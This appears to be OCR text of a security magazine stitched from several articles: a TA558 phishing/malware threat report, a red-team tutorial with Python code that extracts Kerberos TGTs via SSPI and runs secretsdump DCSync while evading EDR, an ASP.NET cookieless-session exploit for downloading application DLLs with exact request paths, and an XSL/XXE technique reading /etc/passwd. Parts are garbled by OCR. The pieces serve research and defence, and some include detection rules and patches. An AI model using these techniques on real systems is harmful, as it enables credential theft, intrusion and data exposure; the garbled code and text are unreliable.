victims' data extracted with the help of the malware described
above. In each case, the legitimate sites belonged to various
small companies based in Mexico, Colombia, and Romania.

When researching the group’s attacks on Russian
companies, we noticed that, besides FTP servers, it used
SMTP on compromised servers that hosted legitimate
European websites:

The group created some of its SMTP domains to
make its activities appear legitimate. Thus, one of the
SMTP domains it used, itresinc.com, is apparently trying
hard to look like the legitimate it-resinc.com.

The threat actor used these legitimate and newly
created SMTP servers in two ways:

> To send phishing email

> Asa C2server for spreading malware

Interestingly, the group never used the same SMTP
server as both a phishing server and a C2 in one attack.

— 0O X

318124, 11:13

¢t LOADING ADVICE FOR FEEDER VESSEL: X PRESS NUPTSE V-1T2N; ETD: 29-02-24

Dear Valued Suppliers,

Pease find the attached loading adwvice. for your inComing shipment

FEEDER VESSEL: X PRESS NUPTSE V-172N; ETD: 29-02-24

Thanks & Regards,

ng advice.zip

M loading advicezip 599 KB

B o)ty




As an example of an attack, here is an email message
sent to an organization in Russia from a compromised
legitimate SMTP server:

The phishing email came with a ZIP archive attached:

> "loading advice.zip” SHA-256: ca383ef7a0031ff933907b
e8b038cccb2ac556bdc0f077d7f9c3022952e62¢efa

The archive contained one file that was AgentTesla:

"loading advice.exe” SHA-256: 84b2a0360556088e4aa
d29627d4ed15d53b18aa72d?d98b4b0d1be27916c681e

When the executable runs, it uploads data to an SMTP
server that imitates a legitimate one:

> mail.itresinc.com

ATTRIBUTION TO KNOWN GROUPS

In the course of our research, we found that a part of the
campaign had been described by analysts at Cyble €.

Cyble describes the same kill chain that we saw,
including the use of steganography, as well as the payload,
which may contain various types of malware like AgentTesla,
Remcos, and so on.

Researchers at MetabaseQ last October described @
the same threat actor’s activity, attributing it to TAS58.

Their report takes note of the kill chain, which also
employed steganography. Although the researchers said
that the victims, as with TA558 earlier, were located in Latin
America, the United States, Portugal, and Spain, we have
found that while TA558 mainly focuses on Latin America, the
number of affected countries is much greater, and TA558
attacks completely different countries.

Last August, researcher Ankit Anubhav shared @
on X (formerly Twitter) information about TA558's use
of steganography with a final chain that resulted in infection
with Quasar Rat.

Another Microsoft researcher, Igal Lytzki, referred
to Ankit Anubhav in his description of a similar attack @.
where he drew attention to steganography samples and
AgentTesla on an FTP server containing logs of victims' data.
Igal said he had informed the victims accordingly:



« Post
ﬁ Igal LytzkiT"

Yesterday | analyzed a campaign from 8 TAS58 which was involving the
stego approach on pictures .

Eventually it lead to #Agenttesla malware that exfiltrated data via FTF, |
was curious about the data they managed to exfiltrate and sadly they
had a good numbser of valid hotel accounts credentials...

| didn't hesitate and went to @ mass email session letting each hotel
know that they had accounts breached... some replied with thank you
and it made me happy.

For the FTP server, well consider it as wiped :)

Q‘#Anklg.ﬁnuhmqﬂ @anil_anubhary - Aug 10, 2023
WTASSE attacker is back with malicious JavaSeript.

Now they download a Spiderman Image which looks valld, but at the end has
<BASEGA START> and <BASEGA_END:> tags.

SR s
gphen bl GRART CAAAM T AL LA ddda bR AR b

CONCLUSION

The TA558 attack chains in the SteganoAmor
campaign examined here continue to affect users in Latin
America and elsewhere in the world. The group continues
to exploit the fairly old CVE-2017-11882 in its attack chain. It
uses steganography, an obfuscation technique, inside the
chains to spread well-known malware used in other attacks
in recent years. The phishing may be harder to detect due
to the group’s use of compromised legitimate SMTP servers,
so we recommend exercising caution when dealing with
email that contains attachments, even if the messages were
received from governmental organizations or small local
companies. The use of legitimate SMTP and FTP servers,
as well as tools like Guloader, may complicate detection of
the threat actor’s presence on the host, so companies are
advised to monitor network traffic more closely and investi-
gate suspicious activity linked to legitimate services.
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One handy feature of private Impacket @
(by @fortra) @ fork is that it can leverage native SSPI inte-
raction for authentication purposes when operating from
a legit domain context on a Windows machine.

As far as the partial implementation of Ntsecapi @)
represents a minified version of Oliver Lyak's (@ly4k_) @) sspi
module used in his great Certipy @ project, I'd like to break
down its core features and showcase how easily it can
be integrated into known Python tooling.

Given the Bring Your Own Interpreter @ (BYOI) concept,
the combination of Impacket usage and SSPI capabilities
can allow attackers to fly under the radar of endpoint security
mechanisms as well as custom network detection rules
more easily. We will discuss this in more detail further
in the article.

FAKE TGT DELEGATION

The original author of the SSPI trick known as Fake
TGT Delegation—which is now commonly used by hackers
to obtain valid Kerberos tickets from a domain context —
was Benjamin Delpy (@gentilkiwi @). who implemented
it in his Kekeo @ toolkit. By doing some SSPI GSS-API
© magic. we can initialize a new security context speci-
fying the ISC_REQ_DELEGATE ® flag in order to trigger
a TGS-REQ/TGS-REP ) exchange against a target
service that supports Unconstrained Delegation
(TRUSTED_FOR_DELEGATION ). This results in having
OK-AS-DELEGATE @ for the first TGS-REP and invoking
another TGS-REQ/TGS-REP exchange, the purpose of
which is to obtain a forwarded TGT for the current user
returned by the KDC in the second TGS-REP.

192.168.1.123 192.168.1.142 KRES 291 AS-REQ
192.168.1.142 192.168.1.123 KRBS 251 KRB Error: KRBSKDC ERR PREAUTH REQUIRED
192.168.1.123 192.168.1.142 KRBS 371 AS-REQ paw
-
192.168.1.142 192.168.1.123 KRES 314 AS-REP Inltlf_l TGT
192.168.1.123 192.168.1.142 KRES 1849 TGS5-REQ
192.168.1.142 192.168.1.123 KRBS 391 TGS5-REP
192 . 168.1.123 192.168.1.142 LDAP 2895 bindRequest(3) "<ROOT>" sasl
192.168.1.142 192.168.1.123 LDAP 264 bindResponse(3) success
192.168.1.125 192.168.1.142  KRBS 1834 TGS-REQ - o
192.168.1.142 192.168.1.123 KRBS 377 TGS5-REP STJ TGS-REP Sa?s Dk B dEIEgatE
192.168.1.123 192.168.1.142 KRES 1637 TGS-REQ
192.168.1.142 192.168.1.123 KRES 286 TGS-REP Furwarded TGT
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After that, the client will shoot an AP-REQ containing
the forwarded TGT inside its Authenticator (the
KRB-CRED (B part of the Authenticator checksum) via
GSS-API/Kerberos whose output stream is accessible to
us. The good news is that we can decrypt the Authenti-
cator with a cached session key of the forwarded TGT, extra-
cted from the LSA with a non-privileged Windows API call
(session key extraction does not require elevation in this
case), and re-use it for our own needs.

TYPE -AE5256-CTS-HMAC - SHAL-96 (18]

authenticator-vno: %
crealm: MEGHTCITY.HET

~ tname
name-type: kRBS-NT-PRINCIPAL (1}
~ enase-string: 1 itesm
CHameString: snovverash

chsumtyps: cKSUMTYPE-GSSAPI (32771}
checksum [truncated]: LOSHOOOOGHAHOHOMMONAN0E
Length: 16
Bnd;  ORRKIHRN DRI B O
asms wman awan sass seall sass ases sews @ DCE-style: Mot wsing DCE-STYLE
srms amas mess wave srsr eaes aede sa.. = Integ: Integeity protection (signing) may be lIevoked
Sl L., o= Conf: Do NOT wse Confidentiality (nealing)
same smas mmer pase ases sess sses Boo. ® Sequance! Do MOT snable cut-of-sequence detection
sems wmes o wwer wesd amss sees epes JBo. @ Replay: Do NOT enable replay protactiom
= =al. = Matwal: Request that resote peer authenmticates itself
; ¥ T T e ey

L
Delegate crede

QR0 2 BERDOE Y ] DEDGOG TS 2602 BOE IS Foald 302010 521030001 161510404 I0H 104 o061 B0 dr 3G

keytype: 18
keyvalue: ce26cdiBEd3150FBA6665Fc FOFESI0LDcBabb1Se16FA6BF064bI652 15 F10006
preals: NIGHTCITY.NET

T pname
Padding: @
w Flags: GRalooed
Bl i = reserved: False
1. svo. = forwardable: Trus
2ale saa. o= forwardedr Teoas

Figure 2. Investigating the
Authenticator (Wiresharp Capture)

The technique is also implemented in Rubeus's @
tgtdeleg module and is explained well by the authors:
https://github.com/GhostPack/Rubeus#tgtdeleg (.




A high level overview of the main Win32 API calls
required for extracting Kerberos tickets from the current
user context is presented in the diagram below. The holy API
quartet for these operations is:

> AcquireCredentialsHandle; @

> InitializeSecurityContext; @

> LsaConnectUntrusted; @

> LsaCallAuthenticationPackage. @

retializnSecyrntyContoxt
Fake TGT Delegation

Leslorrictuntnusted

as

LesCalliutherticationPackage

Iasl Cordimnt. Extablidrerd Tk joortsin
[[em——

W TEEE, T PSPORGE foordai riew
BT il B e ey

PYTHONIC NTSECAPI

The main purpose of adding SSPI features to the
Impacket library is to efficiently re-use the current AD context
in a classic Windows Single Sign-On style, eliminating the
need to manually specify the target credential material
to be used. Introduced in Certipy 4.0, @ the sspi @) part
is intended to achieve the same goal:

«Now, imagine you just got code execution
on a domain-joined machine. You could run your C2
agent, open a SOCKS proxy connection, and then
run Certipy through that. The problem in this scenario
is that you don't know the credentials of your current user
context.» — (c) Oliver Lyak, https://research.ifcr.dk/certipy-
4-0-esc9-esclO-bloodhound-gui-new-authenticati
on-and-request-methods-and-more-7237d88061f7 ¢9

Having successfully initialized security context and
received a corresponding SSPI initial context token from
SSPI GSSAPI (with an encrypted TGT inside), we can invoke
LsaConnectUntrusted in order to obtain a handle to the LSA
and query Authentication Packages (AP):




def get_tgt(target):
ctx = AcquireCredentialsHandle(None, "kerberos", target,
SECPKG_CRED.OUTBOUND)
res, ctx, data, outputflags, expiry = InitializeSecurityContext( ctx,
target,
token=None,
ctx=ctx,

flags=ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH |ISC_REQ.ALLOCATE_MEMORY,

if res == SEC_E.OK or res == SEC_E.CONTINUE NEEDED:
Isa_handle = LsaConnectUntrusted()

kerberos_package_id = LsaLookupAuthenticationPackage(lsa_handle, "kerberos")

The further call to LsaCallAuthenticationPackage allows
us to request raw ticket material associated with the current
logon session which contains a session key:

def extract ticket(lsa_handle, package id, luid, target name):
message = retrieve_tkt_helper(target_name, logonid=luid)
ret_msg, ret_status, free_ptr = LsaCall AuthenticationPackage(

Isa_handle, package id, message

ticket = {}
if ret_status !=0:
raise WinError(LsaNtStatusToWinError(ret status))
if len(ret_msg) > 0:
resp = KERB_RETRIEVE_TKT_RESPONSE from_buffer_copy(ret_msg)
ticket = resp.Ticket.get_data()
LsaFreeReturnBuffer(free ptr)

return ticket

Now, the operator has all the necessary information
blobs to construct another copy of the Kerberos cache (from
AS-REQ all the way down to KRB-CRED) in .kirbi or .ccache
formats and re-use it for their own needs:

raw_ticket = extract_ticket(Isa_handle, kerberos package id, 0, target)

key = Key(raw_ticket["Key"]["KeyType"], raw_ticket["Key"]["Key"])

token = Initial ContextToken.load(data[0][1])

ticket = AP_REQ(token.native["innerContextToken"]).native

cipher = _enctype_table|ticket| "authenticator” || "etype"||

dec_authenticator = cipher.decrypt(key, 11, ticket["authenticator"]["cipher"]) authenticator =
Authenticator.load(dec_authenticator).native

if authenticator["cksum"]["cksumtype"] != 0x8003:

raise Exception("Bad checksum")

checksum_data = i “hecksum. from_bytes( i ["cksum"]["checksum"]

)




if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags:
raise Exception("Delegation flag not set'")

cred_orig = KRB_CRED.load(checksum_data.delegation_data).native

dec_authenticator = cipher.decrypt(key, 14, cred_orig["enc-part"]["cipher"])

# Reconstructing ccache with the unencrypted data te = {}
te["etype"] =0
te["cipher"] = dec_authenticator ten =

EncryptedData(te)

t={}

t["pvno"] = cred_orig["pvno"]
t["msg-type"] = cred_orig["msg-type"]
t["tickets"] = cred_orig["tickets"]

t["enc-part"] = ten

krb_cred = KRB_CRED(t)
ccache = CCache()
ccache. fromKRBCRED(krb_cred.dump())

return ccache

That's basically it when it comes to TGT reconstruction.
Similar steps can be taken to craft an ST (get_tgs €8 — even
simpler because we can skip the AS-REQ reconstruction part
and go straight to KRB-CRED message initialization)
or import tickets into the current session (submit_ticket) @
All the mentioned Windows methods can be dynamically
resolved from the appropriate shared libraries in runtime via
ctypes €B windll without having to drop pre-compiled Python
extensions on disk.

Some other good resources to study ticket management
and its Python implementation are:

> Rubeus, LSA.cs @
> Python for Windows (pywin32) Extensions, sspi.py €9

MAKING USE OF SSPI IN IMPACKET

When integrating SSPI into Impacket, | was aiming for
a scenario of minimal source code modification. | don't
believe we should include this feature in the main branch due
to its very specific use cases, but at the same time we want
to be able to apply the SSPI module as easily as possible. | shall
demonstrate the steps required to enable the -sspi switch for
any Impacket example (that has the Kerberos authentication
option).

First, | will git clone a clean copy of the latest Impacket
repo and curl Oliver's minified sspi.py from a GitHub gist
of mine. €®




Ve gt clone BUtps://github.cos/fertra/ispacket ispacket-sspd
Cloning into 'impachet-sspd’
remote! Enumerating abjocts: 23336, done
remote: Counting objects: 18e% (%238/5228), done.
remote: Comprossing sbjocts: 18e% (331/331), dome
remote: Total 23328 (delta URGE), rewsed uEsy (delta 9889), pack=reuased 18180
Receiving objects: 1884 [23316/23 , 3.53 HiB | 4,81 Mi8/s, done,
Aesolving deltas: 1oas [17Tea) done
PS C:\= cd \impacket-sspl
i eurl https:/ fgist.github, con/Enavecrash/FFETdbd0 12 FFIc J6Funl B19F 20/ panw/ 1EbSORGPcoeaF 1705285001 TaataabSaubERaT fsapd . py °
spd . py
sEpie \PROGRA~1\SUBLIF-1'subl.exe .\¢eiasyles\secrotadunp

Then, I'll add a code snippet responsible for handling
the-sspioptionlogicinthesecretsdump.pyscript (anexample
is also available within the gist).®

mpachet-sspi> git diff
giff -—git afexamples/secretsdump.py bfexamples/secretsdump.py
aEflabice. . &FfT2fdIB 100755
-— afexamples/secretsdunp. py
¢ bforanplessecretodunp. gy
7 L] i nare « _main
group. add_argument{'-apsHey®, action="stors®, metavar = "hex key®, help='AES key to use for Merberos Authenticatios’
V{128 or 156 bits)t)
group. add_argument('=keytab*, action="store*®, help='Read keys for 5PN from keytab ¥#ile'}

group = parser.add_argument_groupl "connection')
GEup. Al _argL ('-de-ip’, actiom='store’ met AddTesE", slp='IP Address of the desais centraller. If *
nape ! omain
Heytab. leadieysFromKeytabloptions. heytab, username, demain, ocptions)

options K = Trus

from getpass import getpass

password getpass(*Password: =)
. if

spricns . arskey

options.k = True

buspSecrots{remotenane, usernase, passsord, demadn,

dupper . dusal}
i if

PE C:\impacket-sspi> py .\setup.py install

Now, to make things fair, I'll ask a TGT while posing
as a DC machine account and create a sacrificial process
on its behalf, performing a classic Overpass-the-Key
+ Pass-the-Ticket attack chain.
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As we can see from the image above, no credentials are
provided to secretsdump.py via the command line; instead,
SSPI is used to extract DC's TGT from the current context
which is saved on disk and later passed to the script inside
an environment variable. Further possible use cases (like
extracting STs) and other desirable improvements (like not
saving tickets on disk) are left as an exercise for the reader.

BRING YOUR OWN PYRAMID

So it may look cool, but there are not many usable
OpSec scenarios in which dropping pre-compiled Impacket
examples on disk is better than running it remotely through
aSOCKS proxy.Imean, Pylnstallerdoesagoodjob generating
a PE from most of the examples but such executables
usually getimmediately flagged. Despite the fact that making
a FUD executable from Impacket is rather simple, staying
in the memory of a legit interpreter is more preferable most
of the time.

Another great project that we happen to use rather
often during RT Ops is the Pyramid 9 framework by Diego
Capriotti (@naksyn), € which is designed to operate from
EDR blind spots like a Python interpreter, implementing the
Bring Your Own Interpreter (BYOI) concept. Due to the fact that
PEP 578 @ (Python Runtime Audit Hooks) is still not applied,
defenders do not have an efficient way of analyzing what's
happening under the hood of CPython, so we're relatively safe
here.

Let's say we have to perform DCSync from a target
user context, but there's no way of grabbing their cleartext
password / NT hash / AES keys / Kerberos tickets or AD
CS certs to be used on the attacker's host via proxying.
| will demonstrate a way to run secretsdump.py with SSPI
authentication in the Pyramid way.

For the sake of this demo | will git clone Pyramid
to a dedicated server, configure the web server, and make
the same modifications to the secretsdump.py example
as described previously.

Now, all | have to do is to drop the cradle on the target
and run it with a portable Python interpreter.

Once again, there are no credentials hardcoded inside
cradle.py, and the authentication routine is performed via the
SSPlinteraction.



| smovve rashio tl {TH 1% https:/Sfglthub . com/naksyn/Pyramid

Cloning inte ‘Pyramid®...

remote: Enumarating <,'-h_;-r|: ts: 334, done.

remota: Counting objects: 100% (114/114), done.

remote: Compressing objects: 106% (90/98), done.

remote: Total 334 (delta 72}, reused 42 (delta 22), pack-reused 228

Rr::.l:'.'.lll_'| objects: 1868% (334/334), 30.89 MiB | ZB.47 HiB/s . done

Resolving deltas: 108% (142/142). dona.

[smowwcrash@c thulhu:- 3% Byramid/Server/lependencies/secretsdunp

|smovvcrash@c thulhu: mai impacket.zip

[snovverashde thalhi: (mai Y
https://fgist.github.com/snovvcrash/ffBATdbd922ff2c361480cBablB19f29,/ raw/68998c1b38ean3321ble8b3286dad24660877d3b /sspl. py \
= impacket/sspi.py

| smovverashic thalh {main x}]1% jmpacket.7ip

| snovwcrashic thul 2 Wi L t impacket.zip impacket

| smavwcrashic thulh y T [ nx}|s aad o SHodules

[ snovvcrash@c thulh: H (main x)1% secratsdumn, py

|snovverashiot 1! { (main x)]%

|snovvcrash@o thulho: (main x}]% Dependencies/lazagne/{asnlcrypto,unicrypto}.zip Dependencies  secretsdump
|snovvorash@e thulh: y ! [main x)]% fetc/letsencrypt/live/ ffullchain. cert.pem
[smovvcrash@c tl 1H ar (main x)]% fetc/letsencrypt/live/ fpriviey.pem key.pem

| smovve rashii R (main x)]%

On branch main

Your branch is up to date with 'origin/main®.

Changes not staged for commit:
[use "git add =filex..." to update what will be committed)
luse I'||.t restore <file»..." to discard r.rll:lnl_'li-'ﬁ in 'ﬁﬂrkl-—'(_l directory)

Untracked files:
[use “"git add <file=..." to include in what will be committed)

na changes added to commit {use “"git add® and/or "glit commit -a“)

| snovwcrash@e tl 1TH (main x)]1% pyramid. py 443 root

hacha2g"

FShome/snovecrash/Pyramid/Server/pyramid.py:5: DeprecationWarning: "cgi® is deprecated and slated for removal in Python 3.13
Lmport cgl

OUTRO

There are cases when an attacker would definitely not
want to touch LSASS or other sensitive Windows subsys-
tems for intrusive credential harvesting, so SSPI negotia-
tions may be a good alternative to obtain needed privileges.
Combined with the BYOI concept, SSPI implementation
for Impacket may help to remain undetectable in Python's
memory and efficiently re-use current domain context
in order to achieve the «hacky» goal during a Red Team
Operation.
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— O X
ASP.NET Source Code Disclosure

1 GET Response

1 HTTPf1.1 260 OK

2 Content-Type: application/x-msdownload
3 ETag: "0d45365591ad2l:a"

4 Server: Microsoft-II5/10.8

_:TTP{I'{;: rm. local 5 X-Powered-By: ASP.MET
R TR AR LacA G Date: Tue, 27 Feb 2024 17:02:38 GHT

3

7 Content-Length: 95232

} MZBjy @8°° I! LI!This program cannot be run in
sPELOBOWA" B8j8 A"BIBOD <ABR H.text$h j " .rsrc

52 windowsServer  |nternet Information Services

During a penetration test, | came across an interesting
ASP.NET application. On the surface, it appeared secure,
but with further testing, | was able to reveal its source code.
Later, | discovered that the method | used exposes the code
of many other .NET web applications.

In this article, | share the details of this method. If you
have an IIS or a .NET application on the perimeter or within
your infrastructure, this article is for you.

ANALYZING THE APP

During an external penetration test, | found a web
application. It consisted of two pages on different ports:

(&8 O, https://Y.Y.Y.Y:8443/login.aspx

403 Forbidden

nginx/1.20.2

Navigator

02.02.2024

Figure 1. The article’s preview

Figure 2. The web application
that | encountered during the
penetration test
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Here is the Burp screenshot with the relevant HTTP
headers of the discovered web application:

X

_ O
= =

i)

Response
Pretty Raw Hex Render

1 HTTP/1.1 280 OK
2 Server: nginx/1.28.2
: Date: Sun, 25 Feb 2024 15:15:15 GMT
4 Content-Type: text/html; charset=utf-8
5 Content-Length:
& Connection: keep-alive
7 Cache-Control: private
5 X-AspNet-Version: 4.0.30219
i X-Powered-By: ASP.NET

n =

joyaadsu)

saloN @

After analyzing the HTTP headers, the application
seemed to be written in C# on the ASP.NET platform, running
under IIS, and protected by a WAF based on nginx.

Knowing this was enough to bypass the 403 error
shown in Figure 2 earlier:

Username:

Password:

Login

After the bypass, | got nothing. There weren't even
any stylesheets present. | attempted to brute force every
possible username and password, every possible path
and parameter. All efforts were unsuccessful.

Another boring web application? Not that day!



COOKIELESS SESSIONS IN ASP.NET

When the ASP.NET feature is enabled in IIS, any page
of the server starts accepting cookieless sessions.

ASP.NET cookieless sessions, along with their PHP
and Java equivalents, have long been used for WAF bypass,
as previously demonstrated, as well as for session fixation,
XSS, and various other attacks.

Here are different formats of these

“cookieless sessions” @):

.NET Version URI

V1.0, V11 JIXXXXXXXX)/

V2.0+ JIS(XXXXXXXX))/

V2.0+ JIAKXXXXXXX)F(YYYYYYYY))/
V2.0+

Furthermore, at the end of last year Soroush
Dalili @ (a.k.a. @irsdl) discovered something new in this area,
as detailed in his article titled "Cookieless DuoDrop: IS Auth
Bypass & App Pool Privesc in ASP.NET Framework (CVE-
2023-36899 & CVE-2023-36560)" @ .

Namely, two security issues in .NET Framework
were found and reported. Both were associated with the
repetition of a cookieless pattern in the URI twice, potentially
leading to a restriction bypass and privilege escalation.

Here are the POCs from Soroush Dalili’s article:

CVE PoC

CVE-2023-36899

/WebForm/(S(X))/prot/(S(X))ected/targetl.aspx
/WebForm/(S(X))/b/(S(X))in/target2.aspx

CVE-2023-36560

/WebForm/pro/(S(X))tected/targetl.aspx/(S(X))/
/WebForm/b/(S(X))in/target2.aspx/(S(X))/

Keep in mind these POCs. At that moment, | wasn't able
to imagine any way to apply these POCs for my one-page
applications.
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Figure 5. After many different
requests, the application somehow
allowed me to download the DLL file
with its code

Code 1. The minimalistic web.config
file that allowed me to reproduce
the technique locally

DISCOVERING SOURCE CODE
DISCLOSURE

| was playing with my websites once every two or three
days. It all came to nothing. Just two pages, no username, and
no password.

However, one day, this happened:

— X

TV AR,

H WL

Navigator
02.02.2024

In just one second, the DLL had appeared on my
computer! It wasn't corrupt, and there was a Remote Code
Execution discovered inside!l

INVESTIGATION

After obtaining the RCE, | was able to access the target's
web.config file. Then, | reduced it to the minimum possible
configuration:

<?xml version="1.@" encoding="utf-8"?>
<configurations
<system.webServers
<modules runAllManagedModulesForAllRequests="true" />
¢/system.webServers
</configuration>

That wasit. The runAllManagedModulesForAllRequests
setting was what led to earlier access to the DLL file!




SCALING THE POC

It quickly became clear that the technique works
on other web resources. The setting runAllManagedMod
ulesForAllRequests isn't rare and | was able to download
a few DLLs from different websites the same day.

A bit intriguing, during testing the technique on other
servers, | noticed that it's impossible to check the existence
of the “/bin” directory:

http://Y.Y.¥Y.¥Y/ - 200

http://Y. Y. Y.Y/bin - 484

http://Y.Y.Y.¥Y/bin/ - 484
http://Y.Y.Y.Y/bin/Navigator.dll - 484

httpe/ /Y. Y. XYY/ (S(x) ) /b/(S(x))in - 484

http: //Y. Y. Y. Y/ (S(x))/b/(5(x))in/ - 404

http: /Y. Y Y YA(S(x))/b/(5(x))in/Navigator.dl]l - 2e8

However, by applying lIS-ShortName-Scanner @), it is
possible not only to check the existence of the “/bin” directory,
but also discover its content:

.f1is shortname scanner.jar 28 B "https://=

version 2023.4 scan initiated 282
s/bin: :SINDEX ALLOCATION/

CVEGRE 1

Both [IS-ShortName-Scanner and the “:SINDEX_
ALLOCATION" trick are attributed to Soroush Dalili.
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FULL EXPLOITATION ALGORITHM

Here's a brief guide on how to check the server on the
vulnerability.

1. Check if cookieless sessions are allowed.

Code 3. Example URL inserts that
can be used to determine

if cookieless sessions are allowed, it If your application is in the main folder
along with accompanying SUs(x))/
comments FZN S

J{G{AM-BBB)D({CCC=DDDYE(@-1) )/

# If your application is in a subfolder
fMyapp/(S(X)}/

2. Optionally, use I[IS-ShortName-Scanner. Note,
its functionality doesn't depend on whether cookieless
sessions are enabled or not.

Code 4. Example lIS-ShortName-

Scanner commands that can java -jar ./iis_shortname_scanner.jar 28 & 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'

be used fo discover short filenames java -jar ./iis_shortname_scanner.jar 28 8 ‘https://%.3%. % X/Mydpp/bin: : STNDEX_ALLOCATION,"
of files in the "/bin" directory

In addition to “/bin”, | recommend you to check other
special .NET folders:

Code 5. The folders | recommend
checking using the same trick

3. Explore 404 page.

For /(S(x))/b/(S(x))in/App.dll it should write something
like /binfApp.dil or none in the output. If it's .../b/(S(x))in/...
on 404, this means the patches are installed.

4. Try to read DLLs. It's necessary to reconstruct
complete filenames from shortened 8.3 format filenames.

Code 6. The final requests that need
to be sent to the application to read
its source code if patches are not

installed and the criteria for enabling hitp: /Y Y Y (S0x) ) /B {5 (x) ) in/MytpplicationFile. dl1

runA\IManagedl\/lodulesForAlIRequ hl‘tp YL _?“rfmmpftsix } } fw{s(x} } i n.FHyApp]il:atimFilE .dll
ests are met




ATTACK DETECTION

A big thank you to Kirill Shipulin of our blue team for
preparing the Suricata rule:

alert http any any -> any any (msg: "ATTACK [PTsecurity]
Cookieless string in ASP.NET"; flow: established, to_server;
http.uri; content: "/("; fast_pattern; content: "))"; distance: O;
pcre: "\/\ ([A-Z]\(*?\)\)/"; classtype: attempted-admin; sid:
10009357; rev: 1)

CONCLUSIONS & MITIGATIONS

For security teams

Update your Microsoft IIS and .NET Framework
to the latest versions. For Windows Server 2019 and
NET Framework 4.7, KB5034619 fixes the source disclosure.

For mitigating short name enumerations, run “fsutil
behavior set disable8dot3 1" to disable 8.3 name creation.
Next, reboot your system and run “fsutil 8dot3name strip
/s /v [PATH-TO-WEB-DIRETORY]" to remove all existing
8.3 file names.

For pentesters and bughunters

| would recommend checking for obvious things
and attempting to send seemingly pointless requests during
your security tests.

As an example, on a different project, my friend was able
to download DLL files from the “/bin” directory directly, even
though I have never seen this technique succeed.
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Feel free to write your thoughts about the article on our
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A year ago, | wondered what a malicious page with
disabled JavaScript could do.

| knew that SVG, which is based on XML, and XML itself
could be complex and allow file access. Is the Same Origin
Policy (SOP) correctly implemented for all possible XML and
SVG syntaxes? Is access through the file:// protocol properly
handled?

Since | was too lazy to read the documentation, | started
generating examples using ChatGPT.

XSL

The technology | decided to test is XSL. It stands for
eXtensible Stylesheet Language. It's a specialized XML-
based language that can be used within or outside of XML
for modifying it or retrieving data.

In Chrome, XSL is supported and the library used
is LIbXSLT. It's possible to verify this by using system-property
(‘xsl:vendor’) function, as shown in the following example.

system-properties.xml

L VErsion

late match

".-"L:-r'-u::-r'u:
||_.'|_:r-|_,;_j or: <xs 1= Si '|' b |
Vendor URL:

Here is the output of the system-properties.xml file,
uploaded to the local web server and opened in Chrome:

@ lecalhostfsystem-proper x| +

L3 ¢ (D locathost/system-propertiescnl
ferslon: 1.0 Vendor: [EEE[ Vendar URL: huapetxmbsoftorg/XSLT/




The LibXSLT library, first released on September 23,
1999, is both longstanding and widely used. It is a default
component in Chrome, Safari, PHP, PostgreSQL, Oracle
Database, Python, and numerous others applications.

The first interesting XSL output from ChatGPT was
a code with functionality that allows you to retrieve the loca-
tion of the current document. While this is not a vulnerability,
it could be useful in some scenarios.

get-location.xml

Here is what you should see after uploading this code
to your web server:

— 0O X

@ locathostfgetLocation.xr x4

L o > 6] lﬁ(ﬂmt_-"_i'.': LG AT 8 a3

hip:MocaihesygetLocation s

(= j Elements Condcde SOUNCes MNetwork Performangs
wnthTl]> =

she st heans

¥ cbadys

type="text™ value="hitp:/rlecalhost/getlocation. xal ™

All the magic happens within the unparsed-entity-uri()
function. This function returns the full path of the “ent” entity,
which is constructed using the relative path "?".



XSL AND REMOTE CONTENT

Almost all XML-based languages have functionality
that can be used for loading or displaying remote files, similar
to the functionality of the <iframe>tagin HTML.

| asked ChatGPT many times about XSL's content
loading features. The examples below are what ChatGPT
suggested | use, and the code was fully obtained from it.

XML External Entities

Since XSL is XML-based, usage of XML External Entities
should be the first option.

Xinclude

XInclude is an XML add-on that's described in a W3C
Recommendation from November 15, 2006.

est xmin

XSL's <xsl:import> and <xsl:iinclude> tags

These tags can be used to load files as XSL stylesheets,
according to ChatGPT.

XSL's document() function

XSL's document() function can be used for loading files
as XML documents.




XXE

Using an edited ChatGPT output, | crafted an XSL file
that combined the document() function with XML External
Entities in the argument’s file, utilizing the data protocol. Next,
| inserted the content of the XSL file into an XML file, also
using the data protocol.

When | opened my XML file via an HTTP URL from
my mobile phone, | was shocked to see my iOS /etc/hosts
file! Later, my friend Yaroslav Babin (a.k.a. @yarbabin @)
confirmed the same result on Android!

EC oy mes

Xsl:1.4

Vemdor:lihush

Vendor URL :hitp:mbsoftong XSLT

Ent test:

document() test 48 € Hoat Database # § localbost is used o configure the
loapback interface # when the syatem is booting. Do not change this cntry, 84
127.0.000 Jocalhost 255 255 235 248 brosdeastbost 221 bocalhost

I
h M ©




/xsltest svg

#Copy_ me#
XS1.:1.0
Vendor:libxslt
Vendor
URL:http://xmlsoft.org
Ent test:
document() test
127.0.0.1 localhost ::1
1p6-localhost

Next, | started testing offline HTML to PDF tools, and
it turned out that file reading works there as well, despite their
built-in restrictions.

There was no chance that this wasn't a vulnerability!

Here is a photo of my Smart TV, where the file reading
works as well:
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Figure 5. Samsung TV + Chrome

| compiled a table summarizing all my tests:

Test Scenario Accessible Files
Android + Chrome /etc/hosts
iOS + Safari /etc/group, /etc/hosts, /etc/passwd

Windows + Chrome -

Ubuntu + Chrome -

PlayStation 4 + Chrome -

Samsung TV + Chrome /etc/group, /etc/hosts, /etc/passwd
Table 1. Results

The likely root cause of this discrepancy is the differ-
ences between sandboxes. Running Chrome on Windows
or Linux with the —no-sandbox attribute allows reading
arbitrary files as the current user.



OTHER TESTS

| have tested some applications that use LibXSLT and
don't have sandboxes.

App Result

Applications that allow control over

PHP XSLTProcessor:importStylesheet data can be affected.

The document() function did not allow http(s):// and data:
XMLSEC

URLs.

The document() function did not allow http(s):// and data:
Oracle URLs.

The document() function did not allow http(s):// and data:
PostgreSQL URLs.

The default PHP configuration disables parsing of
external entities XML and XSL documents. However, this
does not affect XML documents loaded by the document()
function, and PHP allows the reading of arbitrary files using
LibXSLT.

G O O wooasEphesiong i m_ﬁ.:'

XSLT Transforma:cion

XML Code
<l vershon="1,07 ercoding s UTF 577>
<Ivg locatior [

X5L Conder
<xslutylesheet version="1.0" zminsxsl =t Seeven e ongy 1999 L Tramstomm

wEhoatput

sxsltemplate mat

g ol st

Result:

ciuml version="1.8"}»
vy kmlng="http:/ v ud.org/ 2080/ svE" malnstuser="hitp: //eyconpany . con/mynane s
Library: libxsl®l.@cbris
Location: <brfs
XSl docusent{} XXE:
xng pmlng=""p
root iy Bl froot: fusribin bash
Binzxslal:dfusr/ein/nalagin
